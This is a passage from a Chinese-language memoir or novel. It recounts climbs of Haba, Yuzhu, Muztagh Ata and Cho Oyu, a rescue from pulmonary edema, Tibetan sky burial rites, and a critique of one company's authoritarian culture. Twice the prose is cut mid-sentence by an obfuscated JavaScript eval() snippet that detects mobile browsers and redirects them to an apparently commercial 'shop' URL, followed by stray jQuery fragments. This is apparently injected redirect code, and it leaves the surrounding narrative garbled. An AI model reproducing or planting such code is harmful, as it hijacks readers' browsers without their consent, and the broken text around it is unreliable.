会后,唐大海赠予我一本他撰写出版的书——《企业永续经营之道》,并鼓励道:“年轻人要敢于挑战世俗传统,颠覆现有游戏规则,大胆尝试创造全新的商业模式。我年轻时,曾在山东参加中国饲料工业交流会,当时主席台就坐的有四川新觉醒集团老板刘大好、江西富邦集团老板林永生、梁孝儒教授等一众当年盛极一时的饲料行业大佬,但我依然敢于当众指出梁孝儒教授所讲企业经营战略与饲料发展趋势中的不足,并主动上前与之同台辩论。”
经过多年接触与了解,我发现所谓中国饲料与畜牧行业“北唐南宋”的绝代双骄中,号称“南宋”的宋二海,其实更多是徒有虚名、沽名钓誉之辈。
何正道不断带我结识全国饲料与畜牧行业的知名企业家,以及云南各地的杰出企业家。他让我得以窥见社会金字塔尖群体的工作与生活方式,聆听他们的内心声音与观念,使我能从更高维度审视、观察这个社会的种种现象与潮流变迁。我曾像一条蜷缩在墙角、等待啃食人们从餐桌丢弃的骨头的流浪狗。经过十几年不懈努力,我终于从墙角挪到了餐桌下,却依然只能啃食别人吃剩的骨头。但他带我光明正大地坐到了餐桌旁,让我看清了围坐吃饭的人的模样与方式,以及他们所吃食物的种类与数量。他是带我触摸过社会皇冠上钻石的人,是领我见识过世界金字塔尖风景的人,更是我生命中的第二个“贵人”。
17. 第 17 章
2018年3月2日,周进打电话告诉我,他已从宋人神集团离职,近几个月一直坚持跑步、游泳、负重深蹲,严格按照我曾指导的锻炼方法增强心肺功能,提升下肢力量与核心力量。他希望我能带他体验攀登哈巴雪山,挑战自我,感受不同的生活方式,看一看不一样的世界。
在电话里我告诉他,先购置专业的硬壳冲锋衣裤、羽绒服、雪套、护目镜、冰爪、上升器、登山杖、头灯等登山装备,然后于3月10日乘飞机直接到丽江与我们会合。
此外,我还邀请了昆明逆风飞扬公司在广东的一位年轻经销商一同前往,并提前联系了哈巴雪山脚下哈巴村的一位当地高山向导,由他带领我们3人共同攀登,同时提前规划好了行程与攀登路线。
哈巴雪山位于云南省香格里拉境内,地处世界著名的虎跳峡西岸,与丽江市玉龙雪山隔金沙江相望,属于喜马拉雅山脉东部的山峰,最高峰海拔5396米。山上风光秀丽,景色迷人,有一望无际的高山草甸、高海拔的原始森林、清澈见底的高山湖泊,还有千奇百怪的角峰、刀脊峰与U形山谷。根据季节与天气的不同,雪线分布在海拔4700~5100米之间,山顶保存着发育完整的现代冰川。
3月10日,我们3人如约在丽江集合。检查完登山装备与必需的生活物资后,我们包车前往海拔2700米的哈巴村,在当地找了一家登山客栈住下。当晚,我向他们两人讲解了高海拔雪山攀登的注意事项,以及雪套、雪镜与冰镐等辅助装备的使用方法。讲解结束后,他们俩还兴致勃勃地穿上冰爪,在房间里模拟练习冰坡行走的基本技巧。
次日,在当地高山向导的带领下,我们一行4人穿过高山草甸与茂密的原始森林,顺利抵达海拔4100米的哈巴雪山大本营。
大本营设在山谷森林中的开阔地带,我们搭建好高山帐篷,简单吃了些随身携带的路餐,便早早钻进帐篷休息,为凌晨冲顶做准备。
第三天凌晨一点,我们穿上防水冲锋衣裤,戴上头灯,背上热水壶、食物及登山装备,顶着满天星光,迎着冰凉夜风,沿着西北面绝望坡的传统线路,开始向峰顶进发。
途中,我们在海拔4600米的“风雨石”处与海拔4900米的“小水池”处,进行了两次短暂的休息整顿,补充水分、恢复体力。攀登到海拔5在海拔5000米的雪线之上,我们穿上冰爪,戴好雪镜与雪套,将冰镐的绳索挽好并套在手腕上,沿着约35度的“绝望坡”,控制好心跳频率,保持住呼吸节奏,一步一步缓缓向上攀登,最终登上海拔5396米的峰顶。我们于早晨6点50分成功登顶,在山顶欣赏完绝美的日出后,便开始快速下撤。
下午4点左右,我们4人一同顺利下撤至哈巴村。
次日返回丽江后就此别过,分头各奔东西。
在整个攀登哈巴雪山的过程中,我们3人均未遇到太大的困难与挑战。只是周进在到达大本营的当晚出现了轻微的高山反应,呼吸困难、头昏脑涨,但通过持续深呼吸与大量饮水,高原反应症状逐渐缓解,并未影响第二天的攀登。
成功登顶哈巴雪山后的第二个月,我和周进又计划攀登昆仑山脉东段的第一高峰——位于青海格尔木市向南160公里处、海拔6178米的玉珠峰。
玉珠峰是中国国家登山队的训练基地,也是全球登山爱好者迈向职业登山家或专业高山向导的摇篮。
这次周进还带了2名登山爱好者同行:一名是35岁的职场精英夏俊,身着干练利索的运动服,留着精神十足的板寸头;另一名是经营着8座加油站的老板吴传春,52岁,是位健身达人,每天早上坚持做100个俯卧撑,只要没人与他聊天,就总没完没了地咀嚼槟榔。
他们3人自驾一辆福特猛禽皮卡车,从长沙一路向西北方向,途经湖北、山西、陕西、甘肃,长途奔袭2500多公里,最终抵达青海格尔木市。我则先从昆明乘坐高铁到重庆,再转乘火车前往格尔木。
这次我们选择了一家专业的登山服务公司,由2名专业高山向导协助我们4人攀登,并选定了相对简单的南坡登顶路线。
第1天,我们在青海格尔木市集合,检查完登山装备后,前往就近超市采购了一些必需生活用品,以及牛肉干、葡萄干、巧克力等方便保存的高能高热食物。
第2天上午,驾车前往海拔4400米的玉珠峰西大滩登山基地;下午在西大滩附近徒步拉练,适应海拔并休整;晚上观看了曾在玉珠峰攀登过程中发生的山难事故纪录片。
第3天上午,在西大滩附近的山峰上徒步拉练8公里,爬升海拔约600米,充分适应高海拔环境;下午返回西大滩,高山向导为我们讲解攀登高海拔雪山的知识及注意事项,随后继续休整。
第4天上午,驾车前往海拔5050米的玉珠峰大本营;下午在大本营附近徒步拉练5公里,继续适应高海拔环境;之后高山向导讲解了南坡登顶路线中攀登过程需注意的具体事项,随后休整。
从低海拔到达高海拔后,首要任务是多喝水。一旦发现心率过高,需立即停止走动,通过持续深呼吸降低心率。晚上11点左右,大本营帐篷里有不少其他登山队的队员陆续出现严重的脑水肿或肺水肿等高原反应,支撑不住,被救援队连夜送回格尔木。凌晨2点左右,加油站老板吴传春也出现严重高原反应,眼睛布满血丝,脸色铁青,嘴唇发紫,躺在帐篷里呻吟不止。他咬牙坚持到凌晨4点左右,连呻吟声都变得断断续续。我们见状赶紧呼叫救援队,也连夜将他送回格尔木。
第5天上午,在高山向导的带领下,我们3人来到玉珠峰南面2号冰川末端的冰壁上,穿上冰爪与雪套,手握冰镐练习结队行走。晚上周进和夏俊都出现了轻微高原反应,但好在都咬牙坚持了下来,症状也逐步缓解。
第6天中午,我们3人与2名高山向导一行5人,各自背负约20公斤的装备及食物,从大本营出发前往海拔5600米的C1营地。经过约4小时的攀登顺利抵达C1营地,在乱石与冰雪上搭建好帐篷,用高山瓦斯融化冰雪水,将随身携带的保温水壶装满。晚上简单吃了些牛肉干、葡萄干与巧克力,便早早在帐篷里休息。由于海拔环境再次发生变化,周进和夏俊再次出现高山反应,却仍在咬牙拼命坚持。
虽然玉珠峰海拔仅6178米,这里却发生过十几次山难,数十位登山者不幸长眠于此。从C1营地到峰顶的沿途,埋葬着8名登山者的遗体,其中年龄最小的遇难者仅21岁。
第7天凌晨2点,因C1营地已在雪线之上,我们只需穿上厚实的羽绒衣裤与专业高山鞋,戴好头灯,系上安全带、装好冰爪,背上热水壶和食物,将冰镐的绳子挽好套在手腕上,便顶着漫天风雪向海拔6178米的峰顶进发。行至海拔6050米处时,夏俊突发严重肺水肿,倒在雪地上不停哆嗦,大口喘息,咳嗽吐痰时还带着粉红色泡沫。此时距离峰顶仅百余米垂直高度,登顶近在咫尺,夏俊几次不甘心地试图站起继续攀登,却都在高山向导的搀扶下瘫软下去。周进的嘴唇也变成了酱紫色,高山反应愈发严重。我们5人迅速商量后一致决定:由一名向导留在原地照看夏俊,我们3人快速冲顶,再带回峰顶存放的应急备用高山氧气瓶与救援滑雪板。
30分钟后,我们3人顺利登顶,匆匆带上备用氧气瓶和滑雪板便快速下撤到夏俊停留的位置。向导为夏俊戴上氧气面罩,打开氧气瓶调节阀门,将他与氧气瓶一同固定在救援滑雪板上。我和两名向导轮流拖拽滑雪板下撤,周进嘴唇发黑、脸色苍白如雪,大口喘息着缓缓跟在后面。经过4个多小时的奋力营救,我们顺利抵达海拔5600米的C1营地,与闻讯赶来的大本营救援队汇合。C1营地到大本营是碎石与冰雪混合的崎岖山路,无法用滑雪板拖拽,救援人员只能用担架抬着夏俊缓慢下撤。又经过六个多小时的艰难跋涉,我们终于将夏俊安全送上开往格尔木的救援车。
登山是一面照妖镜,既能照见自己的脆弱、虚伪与自私,也能看见他人的勇敢、真诚与无私。每个登山者都需无限信任身边的队友,也需让队友无限信任自己——因为你们随时可能面临以性命相托的绝境。
登山也是一门受尽折磨的艺术:它让登山者在极限困乏中负重前行,在坚持与放弃间不断取舍,在痛苦与折磨里不断超越自我,在寂寞与孤独中重新定义自己。登山时经历的挫折与痛苦,总有一天会被笑着讲起,就像人生旅途中的苦难与失败,终会被我们释怀放下。
2018年7月初,我与周进又准备攀登慕士塔格峰。这座山峰位于昆仑山脉西段,地处新疆阿克陶县与塔什库尔干塔吉克自治县交界处,海拔7546米。
慕士塔格峰如擎天玉柱般屹立在帕米尔高原上,风光壮丽迷人。山体纵横交错的山谷中发育出十余条修长的白色冰川,末端海拔不足4500米;从山脚下的喀拉库勒湖边远眺,它犹如一位久经风霜、白发苍苍的老者胸前飘动的白色“冰川”长须,因此被当地人尊称为“慕士塔格阿塔”——“慕士塔格”意为冰山,“阿塔”意为父亲,故它也被称作“冰山之父”。
慕士塔格峰海拔7000米以上的区域,除每年6月中旬至8月中旬有短暂两个月的相对稳定气候外,常年刮着8至11级大风,年平均气温-20℃,最低达-45℃。
庞大的山体上,因有落差超2500米的连续积雪山坡,吸引了全世界无数滑雪爱好者的膜拜。这里不仅是极限运动爱好者的天堂,也是顶级户外徒步路线;每逢夏秋季节,大批虔诚的朝圣者不远万里来到喀拉库勒湖边,欣赏湖光山色相映的梦幻景致,追寻沉淀在湖底的岁月变迁。
慕士塔格峰还是世界第一高峰珠穆朗玛峰的最佳训练场,如果能在这里如愿登顶尖的登山者中,大部分人的下一个登顶目标便是珠穆朗玛峰。每年6月中旬至8月中旬,随着最佳登顶窗口期的到来,全球各地的登山与滑雪爱好者会陆续汇聚于此。有时,一些国内外的登山爱好者会因这份热爱,不幸付出生命的沉重代价,永远长眠在山峰之上。
2018年6月30日,我们飞抵新疆喀什机场。
次日清晨,我们跟随专业的高山探险公司,以及他们在全球范围内招募的登山队员,一同从喀什出发,驾车向慕士塔格峰方向行进。途经疏附县的乌帕尔镇、奥依塔克镇、白沙湖,朝着塔什库尔干塔吉克自治县方向前进,通过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334307|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两个边防检查站后,于下午5点左右抵达喀拉库勒湖边的204营地。站在清澈的喀拉库勒湖畔,清爽甘甜的空气裹挟着泥土与野花的清香,如潮水般涌入鼻腔、沁入肺腑,令人心旷神怡。宽广宁静的湖面毫无波澜,宛如一面为大地与蓝天梳妆的镜子,清晰倒映着湛蓝的天空、缥缈的白云、青青的草原,以及巍峨雄壮的雪山。圣洁的雪山仿佛远古的画笔,在天地间勾勒出阳刚的线条,倒映在平静的湖面上,呈现出层次分明的蓝、白、青三色。天高云淡,芳草如茵,湖光山色相映生辉,如梦似幻,让人久久沉醉其中,流连忘返。
第三天,我们所有队员各自背负约25公斤的个人登山装备、日常生活用品及易保存的高能高热食物,徒步约6小时抵达海拔4300米的慕士塔格峰大本营。
第四至第六天,我们在大本营与海拔4900米的前进营地之间来回拉练,以适应高海拔环境并休整。夜间则进行登山知识培训,讲解踏雪板、连体羽绒服、专业高山鞋等装备,以及海拔7000米及以上登山装备的使用方法。
第七至第十一天,我们在大本营、海拔4900米的前进营地、海拔5500米的C1营地与海拔6200米的C2营地这三处之间反复拉练,继续适应高海拔环境并休整。
第十二天,正式开始向海拔7546米的峰顶攀登。清晨从大本营出发,越过海拔4900米的前进营地,直接抵达海拔5500米的C1营地。当晚在C1营地入住两人一顶的高山帐篷。
第十三天,从C1营地攀登至海拔6200米的C2营地。这段路线需跨过数条深度超百米的冰裂缝,还要极为谨慎地走过几座临时搭建的雪桥,因此所有队员需用登山绳相互连接,确保发生滑坠时能彼此救援。当晚在C2营地入住三人一顶的帐篷。
第十四天,从C2营地继续攀登至海拔6850米的C3营地。当晚五人一组挤在3.2平方米的帐篷里,闭目养神以恢复体力,静待次日凌晨向顶峰发起最后的冲锋。
第十五天凌晨1点,我们从C3营地向海拔7546米的峰顶发起冲锋。这段路程虽相对平缓,但穿着沉重的高山鞋与踏雪板,在空气稀薄、气候寒冷、积雪深达一米多的茫茫雪原上行走,极为艰难,需要极强的忍耐力与意志力。
有了上次青海玉珠峰的惨痛教训,这次周进和几位年长的登山者从海拔7000米开始便主动使用高山氧气瓶,因此他并未出现严重的高原反应。但登山队22人中,有6人因体力衰竭或高原反应严重无法坚持,在攀登途中被迫下撤,其中1人在下撤时永远长眠于海拔7200米处的茫茫冰雪之下。我们其余16人则在走走停停、每几十步便歇一次的艰难攀登中,于早上8点30分成功站在了海拔7546米的峰顶上。
在峰顶短暂停留数分钟后,我们一路收拾清理攀登途中留下的各类垃圾,迅速下撤,当天抵达C2营地休息整顿。或许是过度疲劳与缺氧的缘故,当晚我在睡梦中反复回忆起经典动画电影《雪怪大冒险》的情节:在一座与世隔绝的雪山顶上有一个雪村,村里住着许许多多、大大小小的雪怪,村长为雪怪们编织了一个全世界都是冰雪般白色的谎言,声称绝对再没有有其他色彩的谎言。村长告诉雪怪们,厚实□□之下的世界极度堕落、腐朽且肮脏,唯有咱们村是天下最富强民主、和谐自由、公平公正、快乐幸福的地方。雪怪们每天都积极响应村长的号召,严格执行村长的命令,日复一日、年复一年地轮流往山上一台用途不明的庞大机器里添冰加雪。机器利用地下深处喷出的炙热岩浆,将冰雪加热成水蒸气,释放到半山腰。于是,山顶与山下之间终年积着一层厚实浓密的□□,彻底隔绝了两个世界,雪怪们永远不知道山下的风景与四季变幻,他们活着的唯一目标就是让这台庞大机器永远正常运转。雪怪们的集体艰辛劳动,名义上是为了机器的正常运转,实际上是满足村长及同伙的私心、私利,以及他们永无止境的权力欲望与独裁统治。也许他们永远不会知道,正是自己的集体无意识,给村子带来了周而复始的摩擦、矛盾、封闭、愚昧、挣扎、伤痛、疾苦与大灾大难。他们在愚昧的集体主义中为那万恶的□□不断添砖加瓦,为自己铸造了坚实的囚笼,挖掘了苦难的墓坑。另外,有一位天真无邪的小雪怪的父亲,按照历任村长编造的石律,每天早上都会准时用头撞击一面硕大的铜钟,太阳伴随着铿锵有力的钟声缓缓升起。这位父亲始终骄傲自信地认为,正是自己撞击了铜钟,太阳才会随钟声升起,世界才有了光和热,才有了天地万物。在他眼里,石律是绝对的权威、永恒的规则、不变的公理。他始终保持着强大却虚无缥缈的、伟大的、高尚的、无私的、光荣的责任感、使命感与荣誉感,在自我无知的世界里无尽循环,难以自拔,难以改变,只能无休无止地意淫和自嗨。他从不思考和质疑石律,从未萌发走到山下去看一看的想法,更不会觉得自己的行为是多余的、徒劳的、悲剧的、荒凉的、苍白的,充满了苦难。
第16天,从C2营地继续下撤至大本营,收拾清理这些天产生的垃圾。
第17天,带上装备行李与整理好的生活垃圾,从大本营返回喀什,登山队就地解散,队员各自平安回家。
18. 第 18 章
2018年10月,我和周进再次计划前往西藏自治区,攀登世界第六高峰——海拔8201米的卓奥友峰。
由于我对藏传佛教、藏族同胞的生活习俗,以及传说中的天葬充满想象与好奇,便比约定的集合日期提前11天到达海拔3650米的西藏拉萨。第二天早上,我参观了庄严肃穆的布达拉宫,它比照片或视频里看到的更加高大雄伟,历史文化底蕴也比想象中更为厚重。
藏传佛教又称藏语系佛教,大约起源于公元七世纪中期,后来由松赞干布及其两位夫人——尺尊公主和文成公主共同协力推动发展,形成了独特的政教合一体系。经过多次发展与变迁,藏传佛教形成了五大支派,并建有布达拉宫、桑耶寺、大昭寺、哲蚌寺、扎什伦布寺等众多著名宫殿与寺院。
在抵达拉萨之前,我已提前联系上在慕士塔格峰担任高山向导的次仁多吉、阿旺桑珠与次旺顿珠。由于各座山峰的最佳登顶窗口期因山峰特点而异,高山向导可在窗口期不同的山峰之间往复工作,因此他们三人都是慕士塔格峰、珠穆朗玛峰、希夏邦马峰与卓奥友峰的高山向导。
次仁多吉与次旺顿珠出生于中国西藏自治区日喀则市定日县曲当乡境内、珠穆朗玛峰的东面,从小生活在海拔4500米的雪域高原上。他们家乡村庄的周围,分布着世界海拔最高的6座山峰中的4座。
阿旺桑珠是夏尔巴人,出生于中国西藏自治区聂拉木县樟木镇,位于海拔8027米的希夏邦马峰下。他们是喜马拉雅山脉上最坚韧顽强的雪域高原之子,有着超乎寻常的高海拔极端环境耐受力。
次仁多吉从18岁开始做高山向导,至今已他从事这份工作已有12年。期间,他曾7次带领客户成功登顶慕士塔格峰,11次登顶卓奥友峰,3次登顶希夏邦马峰,9次登顶珠穆朗玛峰。此外,他还兼任修路工程队队员,或是随时待命的救援队队员。通常,每次带领客户成功登顶可获得约12000元的劳动报酬,而登顶珠穆朗玛峰的报酬会相对更高。12年来,他冒着生命危险积攒下21万元,却一次性全部捐赠给了珠穆朗玛峰下的绒布寺。
当我听闻他将全部积蓄21万元一次性捐给绒布寺时,惊愕得张大嘴巴,几十秒都合不拢,完全难以置信。起初我以为自己听错了,经他反复确认后,甚至怀疑他是不是因高海拔山峰登顶次数过多,缺氧导致脑细胞受损,智商下降,才做出如此匪夷所思的事。
我实在无法理解,便认真追问:“你或许暂时用不上钱,但你的父母兄弟难道也不需要吗?即便钱用不完,你大可以在拉萨或日喀则按揭买套房子,哪怕少捐一些也好,何必一次性全捐?万一你父母或自己生重病住院怎么办?”
次仁多吉木讷地咧嘴笑了笑,带着一丝忧伤缓缓解释:“从我上小学起,父亲大部分时间都在野外挖冬虫夏草或捡化石。他每天早出晚归,常喝雪水、吃干粮,有时还在山洞过夜。我16岁那年,父亲因病去世,年仅42岁。临终前夜,他反复嘱托我和哥哥,要把瓦罐里的钱全部捐给日喀则的扎什伦布寺——那是他9年多卖冬虫夏草和化石的全部收入。”
听完这番话,我在诧异中更觉困惑,不自觉地惊叹出声。次仁多吉闻声转头看我,用宽大的手掌拍了拍我的肩膀,淡淡地继续说:“我母亲养了些羊,每年能卖羊毛和羊皮;还养了几头牦牛,每当珠峰最佳登顶窗口期到来,便租给登山队运物资,也能有微薄收入。父亲去世后不久,哥哥就到扎什伦布寺出家了。”
“等我爬不动雪山,做不了高山向导时,或许也会去绒布寺出家。”他顿了顿,神色凝重而严肃,平静地补充道。
次仁多吉的讲述、经历与计划,让我从百思不得其解的诧异与惊愕,逐渐变得心情沉重、惆怅又伤感。直到在他家的第三天,村里一位已故长者要举行天葬,经我再三恳请,才得以悄悄跟随他参加完整场仪式。那一刻,我仿佛才有些理解他们父子的所作所为与所思所想。尽管我曾在直贡梯寺、色达天葬台远远看过天葬,但从未像这次这样近距离目睹,每一个步骤都历历在目,每一个环节都清晰可见。
天葬是藏族同胞的传统丧葬方式,可能起源于公元7世纪中后期,约在1170年左右全面推行普及,并初步完善了流程与细节。
天葬的过程是:人去世后,天葬师将遗体背至指定地点,举行传统仪式后,按固定流程用利刃将遗体分割成小块,再用石榔头敲碎剔肉后的骨头,供秃鹫吞食。藏传佛教认为,人的灵魂永恒不灭,只会在轮回中往复,死亡是灵魂与衰老躯体的分离,是灵魂在不同时空的轮回转换。而推崇天葬,是因为用“遗体皮囊”喂食秃鹫,是最尊贵彻底的布施,是大乘佛法波罗蜜中的最高境界——舍身布施。人活于世时不断向自然索取,舍身布施
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334308|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正是对自然最好的回赠。
次仁多吉村里的那位长者几天前不幸离世,遗体一直停放在家中。直到我到村里的第三天清晨,天葬师到来后,才举行了简单的仪式。出殡仪式。
那天凌晨,天还未亮,次仁多吉便叫醒了我。我跟着他摸黑来到那位已故长者的家中,静静等候仪式开始。天刚蒙蒙亮时,长者的家属与前来帮忙的次仁多吉一起,将长者的衣物逐一褪去,轻轻把四肢并拢,让头低垂、下巴紧贴胸口,上半身弯曲至膝盖处,缓缓将遗体蜷曲成初生婴儿般的姿态,接着用绳索捆扎成团,再以羊毛织成的白布仔细包扎起来。随后,从存放遗体的地方到家门口,他们用青稞与豌豆混合的面粉画出一道白线。最后,由长者的家属沿着白线合力将遗体抬到门口;无法参与搬运的家属,则用手抚摸长者的额头,以此作最后的道别与送行。
天葬仪式结束后,我在几位年长家属的眼神里,甚至看到一种难以捉摸的安详、愉悦与幸福,或是一种羡慕与向往。
当秃鹫飞走时,长者的家属向三位天葬师献上哈达,敬上酥油茶和青稞酒,以表达最真挚的感谢。
或许是受藏传佛教的影响,藏族同胞坚信生与死是一体、自然且无差别的。他们活着时,大自然赋予了生命的因缘;离去时,也要将这份因缘回赠给大自然中的其他生命。也许正是因为他们有着坚定不移的灵魂不灭与永生信仰,才会对死亡无惧、对生命坦然、对物质淡泊,始终追求至善至爱。在不幸离去后,与其让□□自然腐烂消亡,不如布施给另一种生命,让它们得以繁衍生息,从而使自己的灵魂获得超脱,轮回转世。
随后几天,次仁多吉又带我前往西藏阿里地区下属的措勤县、改则县,那里的天葬流程与日喀则定日县有不少差异。比如,改则县的天葬师们喜欢用遗体的小腿骨制作可吹奏的“骨笛”或号子。
接下来的几天,我们还去了西藏北部的比如县,那里的天葬流程会保留完整的头骨。在比如县达摩寺院内的多多卡天葬台,存放着许多遗体的完整头骨。整个多多卡天葬台面积约4000多平方米,院落中央竖立着一根高约10米的柱子,顶部飘扬着一面醒目的旗帜,柱身周围挂满五彩经幡。院落四周堆砌着约2.5米高的土墙,南、西两侧的土墙边搭建了一排排均分的木架,每个格子里都存放着一颗完整的头骨,形成两面密密麻麻的骷髅墙。
19. 第 19 章
夕阳斜照在茫茫雪原上,冷峻的卓奥友峰被染成一片金黄灿烂、流光溢彩的冰雪世界,在晚霞的映衬下五彩斑斓。深不见底的冰裂缝收起了阴森可怖的大口,沉睡在昏黄的暮色里。这座冷酷的冰雪巨人,终于在晚风中显露出片刻的安详与宁静。
稀薄的空气中弥漫着冰冷的孤独,刺骨的寂寥。
残阳如血,寒流如刀。昏黄寂静的天空缓缓变成模糊的深灰色,又渐渐转为深邃的淡蓝色。浩瀚繁星幽幽升起,璀璨星辰开始闪烁,夜幕笼罩大地。
我和次仁多吉从比如县返回拉萨后,来自全国各地的37名登山爱好者被随机分成两支队伍。周进和我分在同一队,次仁多吉担任我们队的副队长。
经过近20天的拉练、适应性训练、讲解培训与休整,我们于10月12日整装出发,正式开启攀登海拔8201米的卓奥友峰之旅。
10月17日,也就是登山队集合的第25天,我在海拔7100米的C2营地,独自望着太阳西沉、晚霞漫天、星辰升起,直至夜幕降临。
在帐篷里闭目养神到凌晨1点,我们披着漫天星光,从海拔7100米的C2营地出发,准备直接越过海拔7550米的C3突击营地冲顶。在高低起伏、齐腰深的雪原上,攀登时深一脚浅一脚,东倒西歪,异常困难费力,稍不留神就会扑倒在雪地里。我们像朝圣冈仁波齐的信徒一般,三步一跪、五步一拜、七步一叩首,缓缓向峰顶进发。
经过9个多小时经过漫长的攀登,我们终于在上午10点20分顺利抵达海拔8201米的峰顶。队长次旺顿珠和次仁多吉从身后的背包里取出提前准备好的经幡,挂在隐约标有“8201米”字样的木桩上。我们都忙着在随风飘动的经幡前轮流拍照留念,周进却低垂着头,独自木然站在离我们数十米远的地方,全身不由自主地颤抖,眼神空洞呆滞,茫然不知所措。我们呼唤他过来拍照,他却仿佛思维混乱、意识模糊,竟摇晃着朝与我们相反的方向走去,每向前一步都颤颤巍巍、晃晃悠悠,仿佛用尽了全身力气,每一步都可能是生命的最后一步。
次旺顿珠和次仁多吉一边大声呼喊他的名字,一边快步上前将他搀扶到我们身旁,阿旺桑珠把装有葡萄糖热水的保温杯递到他嘴边。在持续的呼喊声中,周进的意识微微清醒,缓缓摘下雪镜,颤抖着双手喝了几口热水,却引发一阵剧烈的持续咳嗽。忽然“噗嗤”一声,大口带泡沫的鲜血从他酱紫色的嘴唇里喷溅而出,在身前洁白的雪地上染出脸盆大小的一片粉红。
他嘴角和下巴挂着粉红色的血丝,混沌的意识中产生了幻觉,竟大口喘息着,不可思议地轻声哼唱起《宋人神集团之歌》:“我们宋人神是新世纪的创业人……雷厉风行负责到底是我们的作风……我要敬业我要自责我要创新……”身体明明已明显失温、虚脱,他却仍能挺胸抬头、目视前方,继续用清晰的语调背诵:“我们宋二海董事长是中国人民大学客座教授,全国五一劳动奖章获得者,□□政府特殊津贴专家……我们宋人神集团是国家级农业产业化重点龙头企业……”
阿旺桑珠惊讶地看着我问:“周进为什么要敬业、要自责?宋二海董事长是谁?宋人神集团是做什么的?”
我也异常震惊地看着阿旺桑珠,一边默默思索是什么力量让周进拥有如此强大的精神念力,一边随口回答:“宋二海董事长是他以前的老板,宋人神集团做饲料、养猪、杀猪卖肉,周进曾在那里打工多年……”
狂风夹杂着冰雪的寒流中,我仿佛看见宋二海正以帝王早朝般的姿态,在《宋人神集团之歌》浩浩荡荡的歌声、震耳欲聋的全员朝训声里,啐着唾沫、吐着痰,像公鸡一样趾高气扬、昂首阔步走进洪州市郊区的总部大楼。还有常年挂在办公楼每个显眼位置,以及周进办公桌后墙壁上宋二海那威严的半身肖像。
周进在宋人神集团经数十年思想灌输、持续强权驯化,许多“打鸡血”式的“伟大思想”“响亮口号”和朗朗上口的宣传标语,已深深植入他的脑海,刻在潜意识最深处。宋二海常以“是我养活了你们”“你们的一切都是我赐予的”“我的是我的,你们的也是我的”的帝王心态自居,以专制独裁的极权管理著称。长此以往,周进形成了羊怕狼般的本能条件反射,将背诵宋人神文化等同于念“阿弥陀佛”祈福保平安的信念。建立在清晰制度与流程上的公司,员工只需严格遵守制度流程,无需向任何人屈服,所有人都站着工作、有尊严地活着;而建立在专制权力与权威管理上的公司,员工必须向权力和权威屈服,点头哈腰地工作、卑躬屈膝地活着。毫无疑问,宋人神集团属于后者。
我看着半死不活的周进,心中涌起难以言表的巨大悲凉与痛楚。那令人胆寒的狂风冰雪裹挟着数千万年的无尽寒意迎面袭来,我的心,比站在海拔8201米的峰顶还要冰冷、还要孤独。
队长次旺顿珠当机立断,安排阿旺桑珠和另外两名高山向导搀扶着仍在背诵宋二海所写《神牛》诗歌的周进快速下撤,我和次仁多吉及其他几位队友紧随其后。
“神牛啊,神牛,我爱你!你站着是一座山,倒下还是一座山……”
周进每背诵一句宋二海写的《神牛》诗,都像一把锋利无比的利刃,刺进我孤独的心里,也刺在奔涌数千万年的无形寒流中,还有那沉积了数千万年的雪原上。
当最后一抹夕阳余晖被黑暗吞没时,两支登山队的其他队友陆续赶超上来,抢在我们前面快速下撤而去。周进在阿旺桑珠及另外两名高山向导的轮流搀扶下,走走停停,耗时近10个小时,终于摸黑下撤到海拔7550米的C3突击营地。我们携带的氧气在登顶过程中早已耗尽,热水、食物及高山瓦斯也即将告罄。周进的头自然下垂着,呼吸微弱,双目黯淡,干裂发紫的嘴角上带着大片粉红的血块。
在风速超过20米/秒的暴风雪中,雪花在稀薄的空气中像流水般急速流淌,奔涌着在空中旋转,如利刃般从我们身上划过。
阿旺桑珠与另外两名高山向导合力把周进搀扶进C3营地的应急帐篷里,阿旺桑珠忙着用高山瓦斯融化一些冰雪。一名高山向导留在帐篷里,用手帮他清理鼻孔、眉毛、胡须和衣服上的冰凌子。另一名高山向导在帐篷旁继续用对讲机向大本营及前进营地不停汇报情况:“我们的氧气早已耗尽,食物与高山瓦斯也将枯竭,我们支撑不过12小时,希望救援队火速前来支援。”
看着已处于崩溃边缘、濒死状态的周进,我陷入了巨大的自责与反省——也许一开始就不该带他攀登哈巴雪山,更不该一起来到这里。在大自然面前,生命如此脆弱,人类如此渺小,或许从一开始我就该告诉他要敬畏高山、热爱自然、珍惜来之不易的生命。
很多登山者被问起为什么要登山时,大多数人的答案是“山就在那儿”,或是为了挑战自己、超越自己。但此时此刻,我为什么要登山的答案变得模糊起来:也许像大多数登山者说的那样——山就在那儿;也许是为了逃避世俗的纷扰与纠缠;也许是为了超脱现实的苦难与矛盾;也许正因为生命仅有一次,所以才该努力让它多姿多彩、丰富灿烂;也许我登山不是为了让世界看见自己,而是为了让自己看清世界。也许我们绝大部分人都是被他人目光重重包围的困兽,总在用他人的目光不断重塑自我,总在用他人的目光不停调整自我意志和价值取向,总在苦苦追寻他人对自己身份和地位的认同。
